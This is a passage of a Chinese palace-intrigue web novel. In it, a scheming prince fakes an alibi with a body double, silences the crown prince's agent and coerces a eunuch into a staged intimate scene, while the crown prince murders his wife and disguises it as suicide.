箭被放下,他喝了一口茶,“太医说,我的腿再来这么一遭,就该锯掉了,你知道怎么锯吗?”萧疏转头,盯向方闻钟,“欢欢,还没有人敢伤我这么重而不付出什么的。” “就连太子,我也会找他算账……” 方闻钟陷入扭捏和矛盾,他一边大胆在心里骂,那不是你活该吗,一边又在担心,这么严重吗?也是,他本来腿就一直没好,昨晚,昨晚他踢得还挺用力的。 他一个小太监,敢这么对皇子,哪怕二皇子对他强行做那种事,但换另一个人身上,恐怕见不到第二天的太阳了吧,方闻钟越想越心冷,还察觉到,自己在萧疏这里,是不是有一点得寸进尺? 二皇子一直只是口头威胁他,没有真取他性命,他就觉得自己无忧了? 方闻钟全身僵住冷冰冰的,目光开始发直,这时萧疏突然扔给他一个东西,他差点没接住,好悬最后抱在怀里。 是一个银色的小环,不知道什么东西做的,很坚硬,很漂亮,他拿在手里看了看,突然猜测,这是不是一种戴在手上的暗器? 他这样想着时,下意识就套在自己指尖,挨个试了试,终于在中指上套上。 可是方闻钟转动了半天,没发现它有什么别的用处,单纯就是个没用但好看的东西? 对暗器一类,方闻钟其实挺有兴趣,也经常自己做,所以现在才这么茫然,什么意思?二殿下给他这个是做什么?难道是一种身份的象征? 就在想法越来越天马行空时,萧疏说话,骗他,“戴上这个,就彻底成了我的人,方闻钟,你要是敢有二心,或生出其他……杀了我的想法,”话音刚落,方闻钟就跪倒在地上,他结结实实把头磕在地上,“我,不敢。” “起来吧,它会代替我惩罚你的。” 话说一半更可怕,方闻钟就把这想成了一种控制他的毒药一类的东西,顿时责怪自己那么快戴上干什么!他呆愣地看着自己的手指,恍惚了一下,才发觉,真还挺好看的。 以后只能一直戴着了,一直乖乖伺候二皇子。 过了些时日,萧疏突然说:“听闻江湖上有一位名医,专治跌打损伤,叫温行,温大夫传闻清隽好看,常得良家女子爱护,想必他的腿骨也是极好看的,欢欢,你说我把他抓来让他用医术把他的腿换给我怎么样?” 萧疏最近坐着坐烦了。 他怎么能生出这么恐怖的想法!方闻钟一时间,用充满责怪和瞪视的大眼睛看他,萧疏回看他了,他又立马躲过。 不怎么样! 温行是他师兄! 谁说师兄可以换腿的,他医术有这么好吗? 不过师兄是挺招人喜欢。 没想到二皇子都知晓他! 方闻钟不知是恋爱脑发作,还是怎么,竟没反应过来,萧疏提起温行,是不是意味着他知道了三年前跟在他身边的另一个男人是谁,而知道这个的话,他方知府儿子的身份,岂不是昭然若揭? “腿骨不能换的,”方闻钟哄骗二皇子,“殿下,我可以给你做一个轮椅,就是用木头坐的,可以滑动,不用拘泥在一个地方,和你走路差不多。” 方闻钟对奇工巧匠真有些研究,这话也不是说大话,顿时就想付出行动了。 接下来,他在二皇子宫里的行程,自在了很多,没人关注他在干什么,萧疏也不使唤他,方闻钟就一个人经常待在房里,给萧疏做轮椅。 椅子测量着做好,方闻钟迫不及待就要把它拿给萧疏使用,但他还是花了一夜的时间,在昏黄的烛光下,一点点把椅子打磨光滑,然后抹上一层香香的保护用的封层。 现在看起来终于能看了,有点配得上二皇子了。 他站起来,一阵眩晕,眼睛下有点小青色,笑得却很好看。 萧疏坐在轮椅上,刚开始他自己推,后来嫌累了,让方闻钟推着他走,方闻钟邀功,“殿下,很好用吧?” “嗯,挺漂亮的,”萧疏答非所问。 方闻钟力气小,沉重的木椅子加上萧疏这么一个人,滑上台阶时,方闻钟一个没抓好,差点把萧疏推翻倒! 紧急时刻,他立马卧在地下,准备接住跌下来的萧疏,可萧疏已经动作极快地用一只手臂撑住自己! 椅子斜倒,将落未落,显得躺在地上的方闻钟和一个傻瓜似的。 萧疏撑着手臂,在他脖子旁边,其实他也离地面很近了,近到,他稍微低一下头,就能亲到方闻钟的嘴唇。 萧疏的眼神讳莫如深,方闻钟刹那屏息,可最终,萧疏稍一用力,就离开地面,轮椅瞬间滑下去,再停在离方闻钟三四步远的地方。 方闻钟拍拍自己站起来,他心里很难过,是不是,二皇子以后都不可能亲他了? 他们还会做那种事吗? 方闻钟越来越觉得自己下贱。 就在萧疏养伤的这段日子里,六皇子针对太子的调查,波谲云诡暗流涌动,他好像不再怕太子意识到什么了,两方人马,在遥远的益州,你追我躲,斗得天翻地覆! 刚平静下去的益州,又突然死了好多人,鲜血染红了数家当地富绅的大门,萧琛手里有证据,他们藏匿过贡品,拿着这张大旗,什么人不好处理,眼见死了那么多相关的人,太子这边在京城,再着急,再害怕事情一点一点被暴露,还是不能大张旗鼓地做什么。 于是,派往那边的杀手越来越多。 京城里,一片祥和,太子还能和六皇子见面客气,他又不能真在这里把老六杀了。 看来前段时间出现的小喽啰,还是引起了老六的注意,才让他像条野狗一样突然咬上来。 太子脾气大到最近太子妃都不敢触他霉头,幸好那些富绅,以及所有接手的人,查到最后,都不会查到他头上…… 太子露出一个不可一世的笑容,突然把目光放在太子妃单纯无邪的背影上,真到了迫不得已的时候,自断一臂,也不会对他造成致命的损失。 很快!太子的不好的预料便成真了! 他们竟然撬开抓来人的嘴,一点点牵扯,真把视线锁定在太子妃哥哥,邝周身上。 邝周不知道萧琛的人,拿到的东西是不是能让他直接丧命,他从益州逃出来了!直奔京城! 太子宫里的东西又经历一番大清换,碎片被打扫出去,跪倒的宫女太监们有半数因知太子发脾气而死亡,“萧琛啊萧琛,你果然是一条毒蛇!”之前装得好,现在突然来整倒他! 太子尚不清楚,因为贺璋的存在,六皇子早早就准备对他进行致命一击,现在才刚刚开始。 因为邝周是萧琛等人有意放出去的!邝周的证据,并不能证明太子本人牵扯其中,所以,他们希望通过邝周,咬上另一个人! 邝周好不容易逃来京城,然而他不知道,他身后跟着一大批人,就等着他往陷阱里跳。 这次钓出来的,是一个周正却不起眼的黑衣人,此人正是太子的下属,来和邝周碰头。 萧琛查贡品一事,闹到现在,皇帝和众大臣都知晓,就在今夜,皇帝还特意给了他一批人,势要把幕后之人抓出来! 二皇子当朝在众人面前拱火,“这人这么嚣张,敢截贡品,六弟一定要好好查询呢,等找出来,就夷九族处理,父皇您觉得呢?” 皇帝在上头死沉沉地盯着下面,太子站在萧疏旁边,心里也恨透了他,巴不得萧疏直接猝死。 宫门一落!太子在里面心急火燎,坐立难安。 他不知道属下传出去的话,邝周是否能照做,如果不能……太子眼神逐渐嗜血地波动。 六皇子带人在宫外雷厉风行地搜索,不放过任何一个地方,太子属下和邝周,渐渐被逼到一条皆是青楼的街上。 而整个局势中,还有一个人不合时宜地正在这乱象中,享受风花雪月,那就是带方闻钟一起出来逛青楼的二皇子。 六皇子忽视了他,毕竟萧疏自从能出宫,经常在外面胡作非为,像这种夜不归宿,也不是第一次了,父皇骂他两句,他当没听到,其他皇子只能羡慕嫉妒。 萧琛志在必得,“三哥,看来今晚就是你的死期了。” 他吐露着温柔的话,站在高处,看那黑衣人属下,和邝周一起渐渐被包围着逼近,运筹帷幄,一个两个,他总能让他们吐露出些什么,所以要活捉,一个也不能死! 捉了之后好好审问,萧琛还不信了,丢进大牢各种酷刑轮番上去,他们二人还能一直嘴硬…… 太子派出人,只期盼着邝周最好一力承担下去,别妄想攀咬他,因为他让属下带的话是:要想邝家活命,要想邝暖还坐在太子妃的位置上,那就自己去死! 邝暖身体有恙无法为太子诞下龙子,她之所以还这么理直气壮,享受宠爱地坐在太子妃一位上,全凭哥哥在背后谋筹。 不然太子妃怎么被太子处置掉的都不知道。 然而,太子不清楚,今晚所有的局面,最终目的不是邝周,而是抓住接头的人! 所以他派去的黑衣人,才是被声东击西和暗度陈仓的主。 属下意识到了不对劲!周围风雨欲来,安静得有些极端过分! 邝周死死抓住他的手腕,听闻太子的传话,终于死心,一点点灰败下去,他思虑良久,最终说:“我会照做的……” 属下突然一把拉开他,立马就要往外逃! 邝周瘫倒在墙壁下,再也没了挣扎的动作和意图。 然而等待属下的,是萧琛布下的天罗地网。 青楼里,萧疏带着方闻钟,换了一身装扮,在华丽而雅致的雕花窗棂旁,听着靡靡之音,屋内灯火辉煌,有数名乐师和舞女表演,方闻钟坐在一旁,恭敬地给萧疏倒酒。 窗外传来重物跌落声,让他诧异地一抖,酒便偏移了路线,没有倒进萧疏手里的酒杯,反而在他手背上洒落几滴。 他立马去看萧疏,萧疏却漫不经心地朝窗外看去。 外面似乎不止一个人,方闻钟也有些好奇,屋内的乐舞他看够了,其他的招牌萧疏没点,方闻钟也就没机会见到,他们刚来时,老鸨彷佛见到了金佛,恨不得把萧疏捧在手里,连连给他介绍楼里的女子,说得方闻钟面红耳赤,听不下去,老鸨一见萧疏这见过大世面的贵公子样,顿时觉得,再啰嗦下去,贵人就要走了,于是不再多话讨嫌,只让人好好伺候着,随他们方便。 看到上来的全是乐舞,方闻钟终于放下心来,萧疏打趣他,“你以为我会在这里找女人?” “欢欢,我的口味还没这么差呢,再说……”他抿了一口酒,笑道:“不及你,不及你。” 方闻钟顿时脸红耳涨,避开萧疏的视线,越控制着自己不要多想越心跳如雷。 窗外的打闹声越来越近,方闻钟甚至能听到楼顶似乎有很多脚步声踩过!因为萧疏带他上过房顶,他不可避免地想到,是不是现在上面也有一大批人,他们在干什么? 直至听到锋利的刀碰撞声,方闻钟才开始紧张,不对劲,他们在外面,真的没事吗? 一曲结束,隔着一页屏风的舞女和乐师们被请下去,屋内,顿时仅剩方闻钟和萧疏两人。 萧疏的视线一直落在窗外,方闻钟能感觉到他的在意,他不知道萧疏今夜要做什么,却开始捏着手,胡思乱想。 忽然,萧疏放下酒杯,戴了一张面具,方闻钟不知道他从哪里拿出来的,吓一跳! 戴面具的萧疏一下站起来,扶住他肩膀,“欢欢,待会儿,见机行事,”他对他咬耳朵说,临了给他一个神秘莫测的微凉视线,方闻钟猜测他未尽的言语里,全是威胁。 然后萧疏就跳出窗外,突然人不见了! 方闻钟下意识就往窗边跑,可紧接着,又从窗户上从上往下翻进来一个人!正是戴着刚才一样的面具! “殿下,”方闻钟急忙跑过去,凑近人,“怎么这么快就回来了,”他正嘟囔着,发现来人胳膊上沾了一片树叶,他顺手取下来。 来人突然转头,方闻钟定住,然后一息,两息,他慢慢往后退。 他不是萧疏! 他的眼神、气味、感觉,通通不是二皇子萧疏! 方闻钟颤栗着问:“你是谁,”问出来才察觉到自己的声音有多紧张害怕。 面具人只看了他一眼,继续待在窗户旁,就当方闻钟陷入云里雾里,对突然出现的和萧疏身形几乎一模一样的人而感觉到震惊时,那人开口说话了,他连声音都和二皇子很像! 可方闻钟就是知道,他不是他! 他是萧疏派来的吗?萧疏把他们俩留在这里,要做什么?方闻钟只觉什么都看不清,不明不白,但潜意识里已经知道,萧疏今夜所行,目的地绝对不是这座青楼。 面具人叫了一套女装,然后老鸨令人送上来时,他摘下了面具,那张脸!那张脸和萧疏一模一样!方闻钟心头巨震,不知所措。 接过女装,面具人打发了老鸨,老鸨临走前看了方闻钟一眼,是个漂亮的小公子,穿女装肯定也很好看,她咯咯笑着。 屋门重新关上,面具‘萧疏’把衣服递给方闻钟,“去榻上,换上。” 他这会儿声音倒不刻意学萧疏了,很沉稳,但下一秒,他便用最正经的神色,说着最不正经却符合萧疏本人的话,“欢欢,你最好听话,忘了我说过什么吗?” 方闻钟爬在床上,听吩咐把衣服换上,至少现在他知道,面具‘萧疏’,肯定是自己人,甚至就是萧疏刚才离开,派他来的,目的是什么?是制造他一直在这里的假象?不然他没必要大张旗鼓地让外人看到‘萧疏’和他一直在房内。 换好女装的方闻钟乖乖在床上坐着,隔着层层纱帘,面具‘萧疏’背过去不看他,他挺直着背影,这样看来倒和二皇子差别挺大,但他真想学,除非似方闻钟这类极亲近之人,不然不可能轻易分辨出来! 他是,萧疏的替身吗? 女装方闻钟,很漂亮,然而这会儿他自己不在意,欣赏的人又不在,屋内另一人不敢看,只能任他孤零零坐床上,揣摩着萧疏的打算。 他什么时候,培养了这样一个替身,二皇子的棋局,越来越让方闻钟感觉所有人都在他的算计中。 包括自己! 内里落针可闻,可萧疏那边,却异常热闹。 躲过几批人,他终于先找到了已经受伤的太子属下,属下跌坐在一处后院里,死死捂着胸口,嘴角吐出来一大口血! 他知道今晚出大问题了!这些人抓住了邝周不算,明显更重要的目的是他。 恐怕今晚逃不出去了,他完成了太子的交代,若是,若是自己也落在六皇子手里……属下心口发疼,一张脸扭曲到可怕,他不知道结局最后会怎样。 就在这时,他听到了一阵极轻的脚步声,很快,一个戴着铁青色面具的人,信步朝他走来,男人身量很高!衣着华贵!属下下意识觉得哪里熟悉,那人已经蹲在他面前。 几眼便打量出他的伤势如何,“还能说话嘛,”来人这样道。 属下立马觉得恐怖欲裂!这,这不是二皇子的声音?身形也很像!正震惊不已他要干什么时,萧疏已经接连在他心口打了三掌! 霎时!一大口血噗噗朝前吐出去! 属下一句话说不出来了,再也坐不住,就要往旁边倒去,他呵呵地死不瞑目地想要抓萧疏的脚腕,手却抖着只差一点,还是落在地上留下一个硕大的拖行的血掌印。 筋脉被震断,地上的人已经是一个废人了,彻底动不了,也说不了话。 属下不明白,二皇子为何对他出手!且他出手这么厉害狠辣! 他明明和太子不和,为什么这会儿帮着太子对他灭口! 是的,如果他被六皇子抓住,对太子不利,但对二皇子,难道这不是他想看到的吗? 属下最后不明白,他想问:二殿下,你为何伤我? 萧疏却已准备离去,在听到有人渐近时,男人飞跃而起,只留一个半残废爬在地上,他会对六皇子彻底没有利用价值,对太子,也将造不成致命威胁。 萧疏为何对此人出手? 只因这属下,不止掌握着贡品的秘密,还知道太子私兵的所有事,要是让他现在被老六抓到了,到时候口风不严,把什么都抖落出去,那接下来还怎么玩儿? 萧疏要看到的,是两个人斗得如火如荼,最终走上既定剧情,他们的结局,定会一一清算。 而不是现在,老六稳坐赢家,太子被整倒了,到时候他若一朝登天,萧疏嗤笑一声,那才是他极不愿意看到的。 老六还是有些本事的,萧疏本以为,给他线索,他顶多把太子的重要势力拉下马,没想到,他竟能守株待兔,预想彻底把太子弄死。 老三倒了,没人将是他的对手,父皇若欲立他为下一任君王……萧疏紧紧抿唇,那个王位上,坐着的绝不可能是一个叛国引敌的伪君子! 嗖得一声,萧疏从树上跳起,彻底离开追杀的包围圈,他往青楼走去。 六皇子带人很快追到这里!他们后面还带着死气沉沉的邝周,邝周看到黑衣人那样子,顿时绝望地闭眼。 他以为,那是太子下手在灭口,太子对他最衷心知道最多的属下都能这么快灭口不让六皇子查到什么,那把他交到六皇子手里,让他还活着,还存着一口气!显然是为了让他背下截卖贡品的黑锅! 这件事,到他就为止了,不能再往下查了。 邝周死死地闭上眼,满脸苦涩,只希望,他一切按照太子的想法做,太子会善待邝家,会善待邝暖。 六皇子迅速在黑衣人面前探查了半天,然而有人已经告诉他,摇着头,“废了。” 说不了话,四肢无法动弹,他现在就是一坨还会蠕动的肉泥。 六皇子脚下踩着血,很快便看到,还有别人来过的迹象,血脚印遮都没遮。 “太子!我还真低估你了!”六皇子咬牙切齿,他实在没想到,他们这么私下筹谋,太子还能在紧急时刻直接釜底抽薪,现在人废了,却留着一口气! 就算被他们抓到,能有什么用! 太子这是明晃晃挑衅啊,六皇子有些气急败坏,自己暗地里算计了这么多,临到关键时刻,太子还是能做出反应…… 这京城,果然他的势力还很深。 至少杀手这一点,几位皇子都望尘莫及。 六皇子一直以为是太子派人来的,谁都会这么想吧,总不可能突然有个好心又多事的人,出来帮太子? 突然有另一夥人从其他路线过来,禀报,看到一个影子从这边往青楼那里去了。 “去追!”六皇子立马说! 大批人马纷纷往青楼去,当得知二皇子萧疏,就在一座青楼里时,萧琛渐渐慢了脚步,二哥……这么巧合吗?为什么今夜他会在这里? “二皇子何时来的?”他问道。 得出的答案是几个时辰前,比他们还早,便来了,那时,邝周他们还没到这边过来呢。 六皇子还是放不下心,他突然觉得很怪异,有萧疏的地方,好像什么都不顺,“去看看。” 找二皇子,当然不能一夥人带着刀直接闯进去,快到门口时,萧琛截停属下,“我一个人上去。” 萧疏是在半炷香前,突然从窗户里跳进来的,他来时,面具‘萧疏’立马就走,他们擦肩而过,两人极似甚至都不用说话,不用交流,屋内便只剩一个真萧疏。 面具人走了。 萧疏摘下面具,顺手柄它放在烛火上,那面具遇火即化,很快便没了,只留一缕青烟,方闻钟呆愣愣看着,手下无意识攥紧襦裙。 萧疏挑开帘子,看到他,一愣。 “欢欢啊,”他弯腰,侧坐在榻上,手忽然抬起来,冰凉的指尖压上方闻钟红润的唇,“真漂亮,”他呢喃道。 只消这一句,但能够让方闻钟忘乎所以,忘了追究今晚匪夷所思的事。 萧疏抱起他,把他放在自己腿上,从上而下好好打量穿着裙子,娇嫩可爱的小公子,方闻钟在他幽深的视线,慢慢觉得很不好意思。 他有些脸红了,低着头,“殿下。” “嘘,”萧疏压住他的嘴巴,“接下来,一切按我说得做。” 萧疏忽然把方闻钟调转方向,方闻钟后背靠他,帘子挑开,正对着就是不远处的房门。 萧疏的手从他宽松的衣袖里伸进去,他渐渐把下巴搭在他一侧肩膀,慢慢啃咬着他的脖子,方闻钟开始发抖,“殿下,殿下。” 方闻钟手指死死抓住萧疏的手腕,他左手中指上,戴着一个戒指,那戒指硌在两人手之间,没一会儿便留下浅浅的烙印。 “殿下!”方闻钟大声哭叫起来。 萧疏却揽着他的腰,似乎,下一秒有人从正门进来,就能看到他们如此放肆的模样,方闻钟如此不堪入目被人折辱的画面! 他哭着求救,明明他一切按照萧疏的做了,明明他今晚很听话,二殿下为什么还要这么折磨他,耳朵上也传来慢慢的啃咬,舔舐,方闻钟冰火两重天。 门口传来敲门声,方闻钟全身僵硬,又激烈地颤抖,他转过头,满脸泪水,祈求道:“萧,疏。” 他叫了他的名字,他真希望他今晚放过他。 要是让人看到,看到……方闻钟恨不得去死。 “进来,”萧疏说。 手抽出来,人还抱在怀里,萧琛一来便看到,二皇子萧疏,怀中抱着一个女人,他们亲密的动作,屋内暧昧的氛围,以及床榻之上乱糟糟的衣服,都在诉说着刚才发生过什么。 那‘女子’不经意转过头来,萧琛竟看到是那个双性小太监! 一下,他对二哥的怀疑全淡了不少。 嗤,他想嘲笑,但不合时宜,心里也装着事儿,萧琛便略过方闻钟,跟萧疏说了几句话,之前可否看到有疑点的人? …… 六皇子走了,屋内方闻钟迅速想脱下裙子,他哭得太可怜,萧疏就那样冷淡地看他动作,卸去伪装,等人换好衣服,他还说:“欢欢承欢过的样子演得不错,”他轻佻的视线打量方闻钟,意思是,方闻钟这幅样子,好像真的刚跟他发生过什么。 他一句话就够让方闻钟心沉到底。 他知道,他今晚在萧疏的棋局中,是一步障眼法。 然而他压根不知道,萧疏下的整盘棋,究竟是为什么,他今晚出去,偷偷做了什么,还引得六皇子来怀疑探查。 方闻钟以为萧疏不会告诉他这些,多余的一句都不会说,谁料,当他为萧疏整理衣服,跪在他脚边为他穿鞋时,萧疏说:“欢欢就没有什么想问的吗?那个人,演得怎么样?” 方闻钟一下仰起头,他是说面具‘萧疏’吗? “他是,他是你的替身吗?”方闻钟还是禁不住问出来。 “嗯,欢欢没有认错,上赶着做什么吧。” “才没有!”方闻钟不高兴道,他一下就认出来了。 萧疏笑了一下,很明显,从这刻开始,他心情好像突然好了,扶着人起身,“想知道我今晚出去做了什么吗?” 想,但方闻钟知道,自己该克制好奇心,他摇头。 萧疏便抱住他,“不想最好啊,欢欢,”因为今晚做的事,帮太子,可不是方闻钟愿意看到的。 但一时的改变,改变不了最终结局。 萧疏把棋盘摆起来了,那他的棋子就得按他的局势走,无论太子是,萧琛也是。 “过来,”方闻钟靠近一点,萧疏摸着他光滑的脸,然后他微微侧头,俯下身吻上他。 猝不及防。 他说:“欢欢真令人喜欢,聪明的人,值得奖励。” 第65章 恃宠而骄的欢欢 下楼时,萧琛穿过红艳嘈杂的楼梯,突然把老鸨叫过来,问道:“楼上那间的贵客,一直在此吗?” 老鸨往上一看,笑脸如花,“当然,”她兴致勃勃地说起楼上那位贵公子,为同行的小公子要了女装,他们定是感情极好,玩得极欢快,才不愿意要她们楼里的姑娘。 说这话时,老鸨捂着嘴,眉飞色舞,就差和萧琛一起调侃了,但萧琛却听得脸越来越黑。 随即他们从青楼出去,萧琛甩了一下袖子,嫌晦气,他有时候都不知道,他的好二哥是不是真的有毛病?跑来青楼和那双性太监玩这个? 幸好今晚只有他一人上去看到了,不然更多人知晓再传到父皇耳里……熟读君子之物的萧琛,有一天也会为二皇子的行为感到面上挂不住。 那位太子的属下已经死了,来人禀报到,那位看他们一直往青楼走,还推断出是太子派人来灭口,死死地想抓住他们的腿,说些什么! 但他屁都说不出来,还一副要咬人的样子,六皇子带来的人本来就没完成任务,气得不轻,现在看他这样,没忍住殴打了几脚,谁料人直接咽气了,睁着吓人的大眼睛。 对六皇子禀报时,自然不说他们多余的动作,只道人死了。 萧琛现在已认定了太子棋高一着,提前杀人,他们只抓到了邝周,所以对死人不再计较,摆摆手算了,“先把邝周带回去,”他看着一潭死水般的邝周,阴狠道:“我倒要看看你的骨头有多硬,”萧琛凑近邝周耳边说:“太子会保你吗?太子妃呢?” 提起太子妃,邝周的眼皮才不受控制地波动了几下。 第二天清晨,太子得知邝周已被老六抓住压入大牢,更令他不安的,是出去了一晚的属下还没回来回消息,他脸上阴云密布,就怕事情比预想的更糟! 但观察了半天,突然发现,得手的只有邝周,他的属下,好像突然消失了,太子忍不住再派人去查,才发现人已经死在了外面,不是老六动的手,在老六抓人前人已经死了。 以为是意识到情况不对,自杀了的属下,让太子忍不住握拳惊喜地砸了一下,没有背叛他,没有抖落出去更多让老六再顺藤摸瓜,太子终于放松了不少。 然后他就开始准备着演戏。 邝周被审了三天三夜!只剩一口气!然而他就咬死了截卖贡品一事,全是自己的主意,没有背后之人插手! 他能从头到尾说清每一个细节,每一个环节都能对上,六皇子还能怎么办,只能抽他一鞭子纯粹出气! 邝周嘴里全是血沫,他耷拉着头,看六皇子这幅拿他没办法的样子,突然似个疯子般的笑了。 六皇子离开,朝中重臣都在观望,皇帝暂压着怒气。 就在此时,太子哭着跪上朝堂,向皇帝请罪,“儿臣识人不清,罪该万死!” 他把自己摆脱得干干净净,只说没料到太子妃哥哥敢做这么被砍头的大事,他实在监察不足有罪,所以来向父皇请罪,请父皇不要再因此生气,他一定会秉公处理,不留私心,让太子妃哥哥怎么藏匿的那些贡品怎么全吐出来! 一个不剩。 被太子这幅表演姿态恶心得不轻,萧琛咬牙切齿,萧疏在背后提了一句,“既是太子妃亲兄所为,那是不是该整个邝家请罪?还是太子认为,只需要处理一个邝周就可以了呢?” 太子跪在地上,转头看向和他不对付的萧疏,萧琛眼里突然滑过一道暗色,表情不再那么焦灼。 上位的皇帝问:“太子以为呢?”显然是听进去了萧疏的建议。 太子沉沉地把头磕下去,“一切听父皇的。” 早朝结束,萧琛已经迅速派人告诉了太子妃,邝周在大牢的遭遇,他为了帮太子隐瞒,经历了什么! 太子妃,甚至整个邝家,都被蒙在鼓里,当得知邝周与贡品丢失一事有关时,都不可置信,然而没人怀疑到太子指使头上。 太子妃听到六皇子那边的传话,一时间手脚冰凉,她摔坐在床榻上,哥哥,哥哥若是为太子背罪呢?六皇子那边把哥哥受刑的样子向太子妃描述得异常详细,太子妃捂住眼,眼泪顺着手簌簌滑下来。 太子回宫,太子妃质问道:“皇上会怎么处理邝家?” 太子无所谓道:“发配,流放,若不是我在从中斡旋,整个邝家都得死,包括你,”他品着茶,看向马上要爆发的女人。 事到如今,只要不让邝周得知邝家的后续,只要邝周提前死,那他失去邝家这一助力,也就算保全了兵马这一更重要的东西。 再说,邝家和邝暖于他,实在不是多好的利用。 这边,六皇子把手伸向太子妃,那边,太子也偷偷派人去向邝周告知:事情已了,他该死了。 之后太子会护住他家人。 愚忠的邝周,就这样在大牢里咬舌自尽。 六皇子还等着太子妃撬开邝周的嘴呢,这一下又被捷足先登!太子好一步恶毒的棋! 还在抱着微弱的期望的邝暖,得知哥哥已死,已认罪,家人被流放,只有她还暂时坐在太子妃的位置上,邝暖心生恨意。 她爱太子没错,但不意味着她可以眼睁睁看着家人为她,被太子全弄死! 她知道哥哥不会主动做那事的,除非是太子指使! 太子妃在宫内发疯,被太子一把甩下去,巴掌打在娇嫩的脸上,她怒不可遏却作委屈,然后藉着太子放松警惕,直接潜入太子的书房,想找到能洗清哥哥罪名的证据! 太子从没想过防范太子妃,于是真让她找到了些把柄,太子妃不谙朝事不知道哪些有用哪些没用,顿时就想把一大匣信件全偷出来!然后交给六皇子! 交给六皇子并不是因为信任他,她只希望六皇子能继续追查下去,弄倒太子!而不是让哥哥和她一家冤死。 此时,邝暖已经抱着破釜沉舟的想法,爱了一辈子的男人,对付起她家人毫不手软,那她邝暖也不是柔弱的软柿子! 邝暖提着裙摆抱着大大的匣子就要往外跑,然而他不知晓,这东宫中,所有宫女太监,都是太子的耳目,从没有一个人真正拿她当主子。 所以,她被人拦住了。 太子来了,及时阻挠了她。 今夜发生的一切不能让太多人知晓,太子暴跳如雷,他没想到,一直是他的枕边人的,享受他纵容的太子妃,会背叛他,会倒向老六! 这比任何一个人反抗他更令人生气,太子让众人下去,只留下一两个侍卫以及他和太子妃。 太子妃被带到了他们的寝宫。 一个时辰后,太子出来,擦了擦手,手上一块巨大的牙印,虎口那处皮肉都快要咬裂了,太子用手帕捂上,没一会儿,立马渗出血。 他面色疯狂、狰狞,而在殿里面,太子妃悬挂在房梁上,脚下的凳子摔倒,她无力的脚尖晃来晃去,她在他们的床榻正对面,被太子悬挂在房梁上,“自缢”而死。 “明早报丧,”太子冷漠地道:“太子妃自知愧对皇家,选择和他哥哥一样,引咎自尽。”- 邝家兄妹突然死绝了,截卖贡品的罪名就这样安置在邝家身上!剩下的邝家人也没有好下场。 就当众臣以为太子会好好安抚剩下的邝家人,谁料他竟为了避嫌,样子都懒得做,直接看着一家流放苦寒之地。 到这地步,没有更多的证据和口供,六皇子无法再追查下去! 他气得摔起竹简,太子还真是狠啊,只要给他一点余地,他就能把所有事情都摆平,他可真是为自己好了一个好替罪羊。 太子妃一家倒台,表面看太子失去重要势力,但若是更方便他再迎娶别的世家嫡女呢? 六皇子不甘心,太子也是这样做美梦的,可是很快,他被皇帝提点到龙椅前。 太子在前跪了整整两个时辰,皇帝都没发话,直到太子开始有点慌了,皇帝才似漫不经心地说:“邝周,邝家要那么多钱干什么?”一件贡品,就是泼天的财富,而邝家搜查出来的,压根没有那么多,所以钱去哪儿了? 这是一个巨大的疑点,当皇帝的自然心里清楚,哪怕太子再撇清罪名,钱流向谁的口袋,这点他心里还是清楚的。 “太子你说呢?”皇帝警告道。 太子顿时伏低做小,冷汗涔涔,幸好目前父皇不知他养私兵的事,知道他打贡品的主意,父皇还不至于气得杀了他…… 太子一句话不敢再说。 皇帝却接着道:“罢了,太子妃之位不可一日悬空,正好你还未有嫡子,不妨朕给你赐婚如何?” 太子还沉浸在突然而来的惊喜中喜不自胜。 皇帝接下来的一句话让他跌入谷底,他才知道,他以后是真的太难了。 “魏家之女,贤良淑德,配你正好。” 魏家,那可是六皇子的母妃的世家,而他要迎娶的,是六皇子远方表妹? 那他以后无论如何都不可能得到魏家的支持,不仅如此,还看死了他,足够恶心他,他和老六,也将永远缠斗在一根藤上,不死不休。 太子这才恨极了老六这次对他的出手,然真正决定他下场的,还是皇帝!皇帝和太子对贡品一事心知肚明,目前看来,皇帝容忍了他这一动作,但不意味着将无限制容忍下去,所以才给了他这一步僵棋。 太子顿时吓得之后很长一段时间,都不敢再做什么。 太子赐婚一事,传出来不仅惊掉了大臣们的耳朵,连萧琛也数次怀疑地掏掏自己耳朵,“你说什么?” 很久之后,他苦笑一声,父皇这一招,不仅是限制死了太子,也几乎明面上没给魏家多少面子。 六皇子突然生出一股极其可笑的想法,父皇看他和太子斗来斗去,究竟是等着他们谁胜出,还是,还是纯粹他就打心底里认定了太子。 而他萧琛,不过是个好用的磨刀石罢了。 就和之前的二哥一样! 萧琛渐渐握紧手里的东西,指节泛白,怒气如千军万马般奔涌而来,然后全被他一一拦住,再咽下去。 父皇啊父皇,我可不是单纯好骗的二哥。 六皇子突然不再韬光养晦,经太子一事,他锋芒毕露,彻底让大臣们看到他的行为办事能力,官场上咄咄逼人,大放光彩,一时间,关于六皇子的佳话,流传不息。 明面上暗地里支持他的势力,一下子超过了太子。 无他,太子近来几件事,实在是目不忍视,反观六皇子,品性、能力上都比太子好太多。 六皇子就是要试探皇帝的态度。 提出让母妃端妃出来时,萧琛抬眸暗地里打量父皇,追查贡品有功,父皇会如何赏他?父皇对他的期待又在哪里? 皇帝同意了,端妃份位恢复如常。 接下来,一系列事件,接连两三个月,六皇子的盛名超越了所有皇子,好像普天之下,谁都支持他,甚至有上摺子请求换太子的,六皇子在和皇帝对弈,他这次想好好看看,以后的路,该如何走。 截止到现在为止,皇帝一次次提拔萧琛的势力,太子都被挤到犄角旮旯去了,彷佛在朝中成了一个空名。 天下谁人不知六皇子,萧琛日渐庞大,在皇权之路上开始走钢丝。 随着六皇子势大,贺璋渐渐出来活动,也成了读书人趋之若鹜的存在,贺璋找到机会偷偷见了二皇子宫中的方闻钟。 只消一眼,贺璋就能猜测出,二皇子已经占了方闻钟的身子,才让他在二皇子宫里这么随性、自由。 他眼神复杂地看向方闻钟,方闻钟还当他担心自己,也担心道:“你前段时间受伤如何了?” 贺璋突然道:“你怎知我受伤?” 按理说,方闻钟不该知道他提早回京了。 方闻钟一时僵住,说漏嘴了,赶紧弥补,“是二皇子说的,你受伤了,在六皇子那里养伤。” 贺璋放下疑心,二皇子知道这些,没那么重要,再说,事情已经过去了,他又立马想到,二皇子跟方闻钟说这些,是不是知道他们私下的关系? 看来,方闻钟陷得不轻。 贺璋见到方闻钟脸上没有一丝委屈悲愤,明显在这里过得不错,他禁不住道:“你别把二皇子想得太好了,闻钟,别忘了你进宫的目的是什么,你为了躲仇,前些时日我们差点就要抓住太子的大错了,没想到最后差一点。” 方闻钟稍微愣了一下,贺璋紧接着道:“离开二皇子身边,我让人把你要到六皇子那里去如何。” “现在六皇子绝对能保住你,二皇子也不敢做什么。” 